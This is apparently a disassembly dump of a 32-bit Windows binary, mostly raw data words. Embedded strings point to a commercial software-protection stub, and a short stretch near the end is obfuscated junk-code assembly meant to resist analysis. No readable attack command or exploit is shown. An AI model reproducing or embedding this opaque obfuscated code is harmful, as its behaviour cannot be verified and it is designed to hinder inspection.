		dd 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h
		dd 550C245Ch, 0E8h, 0ED815D00h,	5EA2F78h, 0B8838Bh, 858D0000h
		dd 5EA3030h, 0B88389h, 335D0000h, 0BD29C3C0h, 5E70109h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F8C35343h
		dd 6CFE6CCBh, 0E2237DC3h, 0AE85Ch, 51BC0000h, 7DE8803Dh
		dd 1D68D90Ah, 27599589h, 8D5A05E7h, 0EA2F6E85h,	50F4B505h
		dd 3B5BD89h, 0FF6405E7h, 35h, 0D1816600h, 8964E45Ch, 25h
		dd 34EA8100h, 0B978EC23h, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h
		dd 0BA8685D4h, 34B640h,	5FE8EA81h, 81ED0034h, 4D5868FBh
		dd 0C70A7556h, 0E72A3585h, 105h, 58F6400h, 0
		dd 8A04C483h, 79B529D1h, 8B05E706h, 659D29C0h, 8305E70Ah
		dd 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h, 8B535019h
		dd 43DB8C0h, 85890000h,	5E70F2Dh, 0AA9B9D8Dh, 0D3FF05E9h
		dd 0BD83585Bh, 5E71C15h, 50177400h, 43DB853h, 85890000h
		dd 5E70F2Dh, 0A73C9D8Dh, 0D3FF05E9h, 8D89585Bh,	5E72375h
		dd 0FE9h, 0D9700A00h, 3861FBB6h, 74E65D80h, 8589DE67h
		dd 3AE9C08Bh, 4000001h,	31000000h, 3535382Eh, 7	dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h
		dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h
		dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
		dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h
		dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h
		dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh
		dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h
		dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h
		dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h
		dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h
		dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh
		dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h
		dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 0D5BD8300h
		dd 5E732h, 12D840Fh, 858D0000h,	5E9A553h, 0BD858D50h, 5005E9A4h
		dd 168h, 6395FF80h, 8D05E9A5h, 0EA30B685h, 858D5005h, 5EA30C0h
		dd 6A006A50h, 0D1858D00h, 5005E9A4h, 0A553B5FFh, 95FF05E9h
		dd 5E70AC1h, 30B6858Dh,	8D5005EAh, 0EA30C485h, 6A5005h
		dd 858D006Ah, 5E9A4E3h,	53B5FF50h, 0FF05E9A5h, 0E70AC195h
		dd 0B6858D05h, 5005EA30h, 30D0858Dh, 6A5005EAh,	8D006A00h
		dd 0E9A53085h, 0B5FF5005h, 5E9A553h, 0AC195FFh,	858D05E7h
		dd 5EA30B6h, 0D8858D50h, 5005EA30h, 6A006Ah, 0A54E858Dh
		dd 0FF5005E9h, 0E9A553B5h, 0C195FF05h, 8D05E70Ah, 0EA30B685h
		dd 858D5005h, 5EA30D4h,	6A006A50h, 37858D00h, 5005E9A5h
		dd 0A553B5FFh, 95FF05E9h, 5E70AC1h, 30B6858Dh, 8D5005EAh
		dd 0EA30C885h, 6A5005h,	858D006Ah, 5E9A53Fh, 53B5FF50h
		dd 0FF05E9A5h, 0E70AC195h, 0B6858D05h, 5005EA30h, 30CC858Dh
		dd 6A5005EAh, 8D006A00h, 0E9A54685h, 0B5FF5005h, 5E9A553h
		dd 0AC195FFh, 0B5FF05E7h, 5E9A553h, 95195FFh, 0A2E905E7h
		dd 83000000h, 0E72565BDh, 840F0005h, 95h, 7F1BD83h, 0F0005E7h
		dd 1185h, 59958B00h, 8105E72Ah,	1CF8C2h, 0FE900h, 958D0000h
		dd 5E713E5h, 8134528Bh,	0D4C340C2h, 4595893Bh, 8305E720h
		dd 0E72045BDh, 840F0005h, 55h, 20459D8Bh, 0C38305E7h, 89038B4Ch
		dd 0EA30C085h, 459D8B05h, 8305E720h, 38B50C3h, 30C48589h
		dd 9D8B05EAh, 5E72045h,	8B54C383h, 0D0858903h, 8B05EA30h
		dd 0E720459Dh, 58C38305h, 8589038Bh, 5EA30D4h, 20459D8Bh
		dd 0C38305E7h, 89038B5Ch, 0EA30C885h, 0D5BD8305h, 5E732h
		dd 0D850Fh, 0BD830000h,	5E72565h, 68840F00h, 0FF000000h
		dd 0EA30D8B5h, 0CCB5FF05h, 0FF05EA30h, 0EA30C8B5h, 0D4B5FF05h
		dd 0FF05EA30h, 0EA30D0B5h, 0C4B5FF05h, 0FF05EA30h, 0EA30C0B5h
		dd 0BA858D05h, 5005EA30h, 30F2858Dh, 8D5005EAh,	0E717AD85h
		dd 95FF5005h, 5E70629h,	6A24C483h, 0DC858D40h, 5005EA30h
		dd 17AD858Dh, 6A5005E7h, 0A995FF00h, 6A05E70Ah,	0D195FF01h
		dd 8B05E727h, 816660C1h, 0E9616CF1h, 0Fh, 0E8E12989h, 71B8B6C4h
		dd 8AD1B115h, 8BF936D4h, 0D38B56C0h, 0E9516059h, 0Ch, 68C2EDCh
		dd 3ED9E8BCh, 0A7F8EB09h, 0BD83615Bh, 5E70D79h,	83097500h
		dd 0E71C15BDh, 19740005h, 0C08B5350h, 40EB8h, 0D5858900h
		dd 8D05E713h, 0E9AA349Dh, 5BD3FF05h, 15BD8358h,	5E71Ch
		dd 53501774h, 40EB8h, 0D5858900h, 8D05E713h, 0E9A7239Dh
		dd 5BD3FF05h, 5E86058h,	45000000h, 0F842497Ch, 665A74B5h
		dd 615652BBh, 0EE9h, 49353500h,	0C8E326C9h, 0C79AA01Ah
		dd 6A690231h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 3C90C352h, 0B5AB483h, 9B208348h
		dd 0D8F2BA66h, 0BD83C08Bh, 5E73301h, 1D840F00h,	0E8000000h
		dd 0Ah,	9B01434Fh, 24211671h, 0B70F0A9Bh, 1FE959D7h, 0BA000002h
		dd 0EB0195Bh, 0F766DF8Ch, 0F0004C7h, 20D85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 1FF9FF6Fh, 0E9FF2BA9h, 10h, 4782A1EAh, 36C1EA3Bh, 5D07D32Ch
		dd 119046D3h, 9E9h, 98706300h, 0C84E4C4Fh, 9D8DAE1Fh, 5EA3722h
		dd 850Fh, 60930000h, 5250DE8Bh,	7E9h, 0FC85E00h, 43EF03E4h
		dd 585A310Fh, 0CC8A5061h, 3830F93h, 66000000h, 0FF64F08Bh
		dd 35h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah,	24448104h
		dd 1404h, 0C3524200h, 25896477h, 0
		dd 9E9h, 6D272800h, 5D56EC79h, 0C48B286Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0CDC35343h, 0EF8F22C2h
		dd 8C0F5Fh, 0F000000h, 1CDC9B7h, 6A00EBh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0E14DF3C3h
		dd 3EAD5B24h, 0CE8B66F5h, 66D6BF0Fh, 6A38B3B9h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 3A76C350h, 0DE9h, 28668700h,	101CA3A9h, 79EBD824h, 8F64AF82h
		dd 5, 13E900h, 4DB30000h, 676EF121h, 92E39028h,	0B4C9773Bh
		dd 475E9BD8h, 4C48347h,	0C00B1EB1h, 0A8840Fh, 66520000h
		dd 817EE81h, 6A615Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 2E28B5C3h, 880F1AC0h, 4,	0BADCBA66h
		dd 7189BD8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0B6F382C3h, 1B801h, 0B9660000h
		dd 0E7FF7673h, 5723E580h, 10245C8Bh, 0B8838Bh, 0B60F0000h
		dd 0C8FE0140h, 0B08389h, 83830000h, 0B8h, 0C0335F02h, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 80594F4Bh, 0E961D1EAh, 7, 0B903EEB7h, 8BC88842h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 607BF53Dh, 148351BAh, 3800F27h, 0F000000h, 8361F7B7h
		dd 0E70D79BDh, 9750005h, 1C15BD83h, 740005E7h, 8B535019h
		dd 40EB8C0h, 85890000h,	5E70F2Dh, 0AA9B9D8Dh, 0D3FF05E9h
		dd 0BD83585Bh, 5E71C15h, 50177400h, 40EB853h, 85890000h
		dd 5E70F2Dh, 0A73C9D8Dh, 0D3FF05E9h, 0BA66585Bh, 0F600F31h
		dd 1189h, 0CE900h, 0D6600000h, 0E73268F8h, 0D41592ADh
		dd 0E960F20Bh, 0Fh, 40E0A835h, 71522E0Ah, 0EE1970Fh, 0F5BB36Ch
		dd 6161D3B7h, 28D0Fh, 0D38B0000h, 0BE66C08Bh, 0C28BDF2Ah
		dd 0F31718EBh, 9B46h, 4	dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 5EA385Ch
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 94B58BFFh, 8105EA38h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 98B53B00h, 0F05EA38h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 2045858Bh, 188605E7h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 2595FF08h, 5005E72Ch, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 2045858Bh, 0C605E7h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 5E72045h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 5E702CDh,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 0CD85C700h, 5E702h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 3985C700h
		dd 105EA38h, 50000000h,	244C010Fh, 3D858FFEh, 8D05EA38h
		dd 0EA383585h, 3DBD8D05h, 8905EA38h, 23E938h, 858D0000h
		dd 5E713E5h, 538408Bh, 9B46F317h, 38358589h, 858D05EAh
		dd 5E713E5h, 893C408Bh,	0EA383985h, 52858D05h, 8905EA38h
		dd 0E72C2585h, 87E905h,	8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 0C5858D00h, 8905EA3Ah, 0E71C6185h, 0ED858D05h, 8905EA3Ah
		dd 0E7226585h, 15858D05h, 8905EA3Bh, 0E7175585h, 9E805h
		dd 6E7C0000h, 7B2A9B04h, 0FFA71B7h, 38Dh, 68D78000h, 18C0F59h
		dd 0F9000000h, 604DC181h, 81600000h, 0E3B014D1h, 0E8816613h
		dd 2B61D3AEh, 28A0FF6h,	52000000h, 31048B5Fh, 0FE8h, 0AD642B00h
		dd 45685121h, 95A41A84h, 91402D87h, 5E9h, 21B80600h, 815B3AF6h
		dd 353695E8h, 8166536Eh, 5BD201DFh, 0B169F081h,	0BF0F6173h
		dd 1DE881D6h, 0BA5001C9h, 14202218h, 0F310489h,	1086h
		dd 0BE900h, 57740000h, 0F8A49F87h, 0EFAB8536h, 86BB66FBh
		dd 3EE8310h, 0F4E74B3h,	0C89h, 6840F00h, 81000000h, 35DA0AD3h
		dd 9CFE817Ch, 0FFFFFA0h, 1385h,	99D1BA00h, 28E9653Dh, 0D3000000h
		dd 0A9BA09DFh, 0E294AF4Dh, 78C0Fh, 66570000h, 3E3D781h
		dd 0FF57E95Fh, 7687FFFFh, 0BA222F42h, 9BC6CF94h, 0EBFC2FBCh
		dd 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0F1858B24h
		dd 8D05E707h, 0EA6DCE85h, 8B088B05h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 0EA3C688Dh, 41BD8305h, 5E72Eh, 0F840Fh, 6A600000h
		dd 1D95FF00h, 6105E71Ah, 0FFFFC4E9h, 728966FFh,	10CEC1FCh
		dd 2728966h, 5A04CD52h,	3C648589h, 0B58B05EAh, 5EA3C68h
		dd 6610CEC1h, 8B027289h, 0EA3C68B5h, 72896605h,	858B61FCh
		dd 5EA3C64h, 3D958DC3h,	8905E728h, 0E7204595h, 51958905h
		dd 0FF05E706h, 0E7065185h, 0F985C605h, 5305E707h, 0B148D868h
		dd 25B5FFFCh, 8D05E70Ch, 0E7391785h, 89D0FF05h,	0E71A1D85h
		dd 6C858D05h, 8905EA38h, 0E7218585h, 0E900EB05h, 5DDh
		dd 5D1E9h, 3DED6800h, 30E905EAh, 68FFFD40h, 5EA3EFCh, 0FD4026E9h
		dd 3F7468FFh, 1CE905EAh, 68FFFD40h, 5EA404Bh, 0FD4012E9h
		dd 41B368FFh, 8E905EAh,	3CFFFD40h, 3D0AC6F0h, 3807C9E9h
		dd 3A01CF0Fh, 361D3313h, 0B71E3208h, 587EA800h,	587CABF0h
		dd 4262ABF0h, 4767A18Eh, 0BAE3889h, 0C69FDFA5h,	0D81B4FBEh
		dd 0C375E25Ch, 75E2FD43h, 0E21FE2C3h, 0B400C375h, 0ABC375E2h
		dd 0C375E2C6h, 75E26DD7h, 4144A843h, 1263AC09h,	3178495Dh
		dd 0B2F93008h, 0E11B98Ah, 4133D1Dh, 0BCDB2707h,	50656D30h
		dd 4CBBC963h, 4E9A0750h, 0E2F01BD1h, 4651546h, 71BF0000h
		dd 6EBC8B45h, 8EBB8048h, 92B5824Eh, 89B19EB2h, 7F369FB1h
		dd 71DFFF2Bh, 71DFFF2Ah, 0FC1E12Ah, 0AC6E820h, 268A2FA7h
		dd 3DC69FDFh, 7A5298CEh, 0CEB30654h, 19C375E2h,	0A8E04046h
		dd 4EACB298h, 99748E76h, 0CD1EAEAEh, 0C5C76CFCh, 7A529DE1h
		dd 0F9620654h, 755973D1h, 0C35CF4DBh, 0DE6867D8h, 7A000003h
		dd 414A7A52h, 77CA1061h, 0C375E282h, 46531219h,	0C375E2F2h
		dd 0B57A0F1h, 67B2F33Ch, 0C375E291h, 2A704192h,	228C0A5Dh
		dd 5F4BD4BCh, 0EBCA237Fh, 5A72DEF8h, 85AA5274h,	73C5A282h
		dd 70C375E2h, 0A60AAF27h, 0BDC375E2h, 0EEC3116Ch, 0E26FD1E4h
		dd 1B64C375h, 0F3D3F8C7h, 9D8E915Dh, 39137EBDh,	40AEC915h
		dd 0FC2A755Dh, 4AA980DEh, 516FB986h, 3A005169h,	5AF6C6CDh
		dd 75E2FD47h, 103D68C3h, 7D95E23Ah, 227849BAh, 2CA66785h
		dd 0E381603h, 4A9BF2C8h, 0E156636Bh, 0E6C95DB6h, 74E6E895h
		dd 52EE6A35h, 35609h, 5462AE00h, 5F7FAFF4h, 5D7DAAF1h
		dd 4165A4F3h, 4076A08Fh, 0DA8E2588h, 0D562EEECh, 0D562EEEEh
		dd 0D378D0F0h, 0B67BD5F9h, 0DC37B91Ch, 0C1CCC69Fh, 547A52E9h
		dd 0CFEF3906h, 0BD9984F3h, 0E3760E93h, 8B69C375h, 79C375F2h
		dd 95D0F6D6h, 774B73BEh, 75F23282h, 14F9F7C3h, 0B267B2h
		dd 1FB7C95Dh, 92DC36BAh, 8DFCCDC6h, 564BA9Ah, 0DD8F4734h
		dd 81596A34h, 2DEDAh, 0DCFA2600h, 0C7E7270Ch, 0C5F52209h
		dd 0C9ED3C0Bh, 0C80E3807h, 5206BD00h, 0ADFA5664h, 0ADFA5666h
		dd 0ABF05878h, 3EF35D61h, 0DDBF0194h, 49B4C69Fh, 226A3511h
		dd 0DAFA2D1Ch, 6B46A584h, 0F6C11D21h, 297BF9D6h, 16622D5Ah
		dd 0AF814F36h, 8DDE2FCFh, 674746B1h, 0D5E12C1Bh, 5076E589h
		dd 7713D8EEh, 0DACDF3D5h, 20A7A9FAh, 67D936B0h,	24C9Ch
		dd 5CD8D600h, 0C9C375E2h, 0C76CFCDCh, 0F3D3F8C6h, 310D5EAFh
		dd 0AE8C9EA1h, 0D73A7950h, 53FCD6F6h, 230A5064h, 61EAFEC0h
		dd 8B83AC59h, 377657ABh, 7DD3F3D8h, 0D98EF66Eh,	5AD667h
		dd 0A38C0000h, 75654074h, 0A72FEE02h, 5D05F912h, 72470FC9h
		dd 0C692C18Eh, 432C301Bh, 71423372h, 34C25E8Ch,	21BA966Ah
		dd 207h, 252B1319h, 222E0C1Eh, 3C2C2C15h, 38103417h, 39172713h
		dd 9D85DD94h, 998493BDh, 878493BDh, 8A82A9A7h, 4D05A4A4h
		dd 9FA28068h, 269083C6h, 0AD3B9EC8h, 46C375E2h,	0CDDE2975h
		dd 0ECB363EDh, 0C08C9CA1h, 0D51DE123h, 1457B684h, 0F3CFEF39h
		dd 3F6916D4h, 99EAC31Fh, 183E6E31h, 319D63B6h, 4596C375h
		dd 485DEA66h, 715BE068h, 0FB26116Dh, 67310DC3h,	73327E97h
		dd 0D79F379Ch, 1C96395Fh, 7CBFC515h, 7554159Bh,	6F5FD7C3h
		dd 3A4DCEDAh, 1ED55B7Eh, 9DEEC375h, 0B39C714Ch,	5E17006Fh
		dd 3FF4D4F1h, 0C3751E49h, 6CBC704Ah, 0A696260Bh, 2FC40455h
		dd 0D4FCC2DBh, 217D414Bh, 9986EDC8h, 180629A1h,	778A7E5Bh
		dd 0B889C375h, 1CC00C6Fh, 0AE2BFD24h, 0D615EF97h, 75328371h
		dd 0B3971C3h, 97ADAA2Ah, 2BC1FC3Fh, 21725474h, 6CD4E1A9h
		dd 67C37582h, 3A9FD716h, 0C95C9085h, 0F1B91162h, 55961AEh
		dd 0A0EAC924h, 2467C882h, 2F2500h, 0E9D6240Ah, 0C29295BCh
		dd 0E5FA4E6Bh, 0A8F9C692h, 236A2156h, 74A38CD2h, 11291639h
		dd 923DEC54h, 4596E7C6h, 8870450Dh, 8BC6923Dh, 38077BBAh
		dd 0B887CF0Fh, 11714C92h, 339B7A76h, 0BB3CB1E6h, 0CCF74FCCh
		dd 640C594Ch, 2770C520h, 1C53967Ah, 0DDFE5A70h,	9Fh, 4D83BBE1h
		dd 4A86A4E6h, 4484B4FDh, 4088ACFFh, 418FCFFBh, 256D457Ch
		dd 216C3B15h, 3F6C3B15h, 226A311Fh, 0D5FDCC1Ch,	9FA378C0h
		dd 5E087BC6h, 6547A52h,	0F4D1EF39h, 72B986D4h, 1536794Ah
		dd 3AE2E435h, 75E2299Fh, 9AD92AC3h, 3F5B00A4h, 0B59BBBEDh
		dd 337EC189h, 11D6370Bh, 0C375E2AFh, 8D185BA4h,	67D98E13h
		dd 1031h, 53D8B500h, 0CEC375E2h, 0A750F8DEh, 0Bh, 0E25CD8F3h
		dd 0DFC9C375h, 46B151FFh, 242C0429h, 0BF9F8CD0h, 0BE12967h
		dd 8CEF381Ch, 2CDh, 52531700h, 3D0A5066h, 88F7CBEBh, 105FA383h
		dd 0E2CD1125h, 4FB886B4h, 0D8277B43h, 0A691EDF1h, 327D4179h
		dd 2E43A18h, 815F5457h,	4C7h, 4EF8300h,	5C243C87h, 338A68h
		dd 242C8900h, 5E08950h,	4, 8704E883h, 895C2404h, 0BABD241Ch
		dd 0C143E406h, 0C58107E5h, 0FFFFFFFFh, 72B6F581h, 0EDC17CF9h
		dd 0EFCD8102h, 817BF21Ah, 14A691F5h, 68E7687Eh,	24890000h
		dd 24048324h, 685B04h, 8900002Fh, 3481242Ch, 5E683024h
		dd 8438F13h, 30087381h,	0FF135E68h, 835B2434h, 2C8B04C4h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 3A6DE95Ch
		dd 0F69BFFFDh, 77B811CCh, 305EA42h, 0EBD18BC5h,	20h, 7 dup(0)
		dd 57CE900h, 70E90000h,	68000005h, 5EA44F7h, 0FD3A2AE9h
		dd 459368FFh, 20E905EAh, 68FFFD3Ah, 5EA4739h, 0FD3A16E9h
		dd 479B68FFh, 0CE905EAh, 38FFFD3Ah, 3906CA0Ch, 3403CDEDh
		dd 361D330Bh, 32193717h, 8B1A3604h, 5C7AA4FCh, 5C78A78Ch
		dd 4666A78Ch, 4B6BBD8Ah, 17A22485h, 0C69FA1A1h,	231B73A2h
		dd 54661D6Fh, 3FAB8A79h, 9556552h, 75E2C0B4h, 0F595B643h
		dd 3F737830h, 1F674747h, 95208E75h, 4375A623h, 0A786D720h
		dd 0D94D60F0h, 2E6CE7h,	0D57A0000h, 0D991ECECh,	75E253D8h
		dd 0B3529EC3h, 3E17341Bh, 8EC3C264h, 0BEFDCEEBh, 822FE134h
		dd 0FBC4C960h, 9986A955h, 340342A1h, 57000000h,	1D3D6A35h
		dd 2C8DE8C1h, 0C375E248h, 166D82BAh, 0FAF64466h, 25E804BBh
		dd 7E9008ADh, 85AAC960h, 0C5DA181h, 5B735C31h, 7CB20693h
		dd 60B1C69Fh, 351BCF05h, 871C350Dh, 30468CA1h, 756B8D73h
		dd 76B586C3h, 0D02E2E1Bh, 756B966Dh, 24141D43h,	9AA2E9D6h
		dd 783C844h, 284C7BBh, 8F4179A6h, 0B71F16F0h, 4B6BA08Fh
		dd 7B358F68h, 0ED3E4375h, 10983DE5h, 8D43757Bh,	0B62B898h
		dd 340A69BAh, 0A9E3C1CBh, 0DF94B485h, 113F0511h, 0B48AB2F9h
		dd 0D8770D55h, 51646EBFh, 495C799Ch, 51FA81D9h,	885BBC2Bh
		dd 4A6F17BFh, 469241E6h, 7151ACFDh, 0EFCFDE61h,	9E7BBA93h
		dd 46924126h, 351FBB50h, 0E1F1E79Bh, 69A9h, 0EE023D00h
		dd 50FFA72Fh, 0B4155066h, 0C9601F3Fh, 0DC636BB4h, 0BE66EACCh
		dd 4C92AA91h, 9D064A74h, 55A6B00Eh, 0CD113B16h,	38848A50h
		dd 0E5F6526Ah, 2E5h, 0F15F7FA5h, 8E4260AAh, 884078A1h
		dd 844468A3h, 854B73BFh, 0E9D18938h, 0E5D07FD1h, 0FBD07FD1h
		dd 0FE2E75DBh, 11B170D8h, 9FA63C84h, 92C437C6h,	2B03Eh
		dd 65526800h, 0E4D27D55h, 42A188D6h, 0DC547Ch, 5EF65F78h
		dd 3ABA1F5Eh, 25C37564h, 0C37565DFh, 756579C0h,	65966EC3h
		dd 2B89C375h, 0D9C37565h, 3C734B76h, 9BF2C8EEh,	6505FF58h
		dd 2CC08375h, 3B546169h, 0B0095F51h, 707C1B67h,	0A39025ADh
		dd 900CB69Ch, 0B344C4Eh, 0F2C3EA0Bh, 1F23D10Dh,	98C31F30h
		dd 249h, 6DE3DBC1h, 6AE6C4C6h, 64E4D4DDh, 60E8CCDFh, 61EFEFDBh
		dd 454D255Ch, 414CDB75h, 5F4CDB75h, 424AD17Fh, 0F5DDEC7Ch
		dd 9FA75820h, 7E285BC6h, 6547A52h, 0DEFB8369h, 0C375E26Ah
		dd 87CF1869h, 60255A32h, 590951C9h, 27892C01h, 3CC69F0Dh
		dd 94678BD3h, 0A3A1667h, 4287F132h, 0D9148C22h,	0C58DCDFAh
		dd 3E6F517Ah, 98F1CD1Eh, 9F88975Dh, 4B7363BFh, 9FDD9A6Eh
		dd 6D4899C6h, 11F29A56h, 522C2214h, 614547AAh, 0EBE3CC1Dh
		dd 1B674744h, 0DEFBF332h, 0CC8A8846h, 8D2C3C0Dh, 0C8A11237h
		dd 1A01FEF2h, 0DCF9D122h, 0C2B4D57Ch, 241E2F77h, 66234E9Fh
		dd 20F5BD15h, 0D2CA8E58h, 0A32B0A5Bh, 0A6AA8C9Ch, 1DE336FEh
		dd 88D2CA8Eh, 9CEDBE80h, 745A72A1h, 0B791BE26h,	169A3F97h
		dd 2DD2CA8Eh, 0AC38E1DCh, 89D2CA8Eh, 4472BC63h,	8CC61776h
		dd 0DF497B29h, 0AF2770D8h, 0AAA68880h, 57AB8B9Dh, 0C1F5200Fh
		dd 4DAF05E2h, 668AD4DCh, 0D8672FA7h, 0CD9BE6EFh, 0AEC82088h
		dd 0D8A0755Dh, 0DBD4DCB4h, 56CEAB8Ah, 1DDEC973h, 93B59ACCh
		dd 96B69DB3h, 9F4D6AB0h, 5F4BD4FEh, 0F0CA237Fh,	872CF617h
		dd 0E4EECD4Ch, 0F3F15FD1h, 0F7CB14D4h, 0BF5B202h, 8307C4E0h
		dd 5B780799h, 8A7C3444h, 1111AD53h, 0C9D6645h, 29000000h
		dd 75FF5CD8h, 11A5C3h, 0D8F50000h, 0C375FC5Ch, 6DD3E6AEh
		dd 66C375F8h, 280D615h,	12A72FEEh, 0C96025BAh, 7D1A60B1h
		dd 9124AE6Fh, 0CCB6A4F0h, 0FDEFACFDh, 0E7701EECh, 0A3104Bh
		dd 3D6B0000h, 22683719h, 3A67CC1Ch, 2661CE02h, 357DCA06h
		dd 0CBFACB05h, 0BD93AB97h, 0BD93AB96h, 0BB95B596h, 0B69ABCECh
		dd 0F2465373h, 0F1C69FA5h, 6A35D482h, 9F220121h, 351A4C51h
		dd 0F8F23111h, 60257FDDh, 0D72B74C9h, 795134B8h, 92D1E9D6h
		dd 0AC4CFDD8h, 7849CCB6h, 1EF55B83h, 0CE8DA570h, 41h, 55FBC3C9h
		dd 52FEDCCEh, 6CFCDCC5h, 68E0C4C7h, 69E7D7C3h, 4D752D44h
		dd 4974C30Dh, 5774C30Dh, 5A72D977h, 0FDD5D474h,	9FA550D8h
		dd 762053C6h, 0C3Eh, 0F73C7400h, 298D5456h, 23025497h
		dd 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh
		dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh,	286802E4h
		dd 8900002Fh, 0E389241Ch, 4C381h, 0EB830000h, 241C8704h
		dd 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		mov	eax, 4FB4783Dh
		mov	esi, 559EBBA7h
		sub	esi, 56DB4334h
		sub	esi, eax
		add	esi, 56DB4334h
		pop	eax
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	7FBBh
		mov	[esp], esi
		sub	dword ptr [esp], 0C7554E7h
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 0C7554E7h
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		dd 0B87D8578h, 5EA4801h, 0C88BC503h, 51E9h, 748B6000h
		dd 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h, 4E8B6600h
		dd 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h, 158F0Fh, 0EA830000h
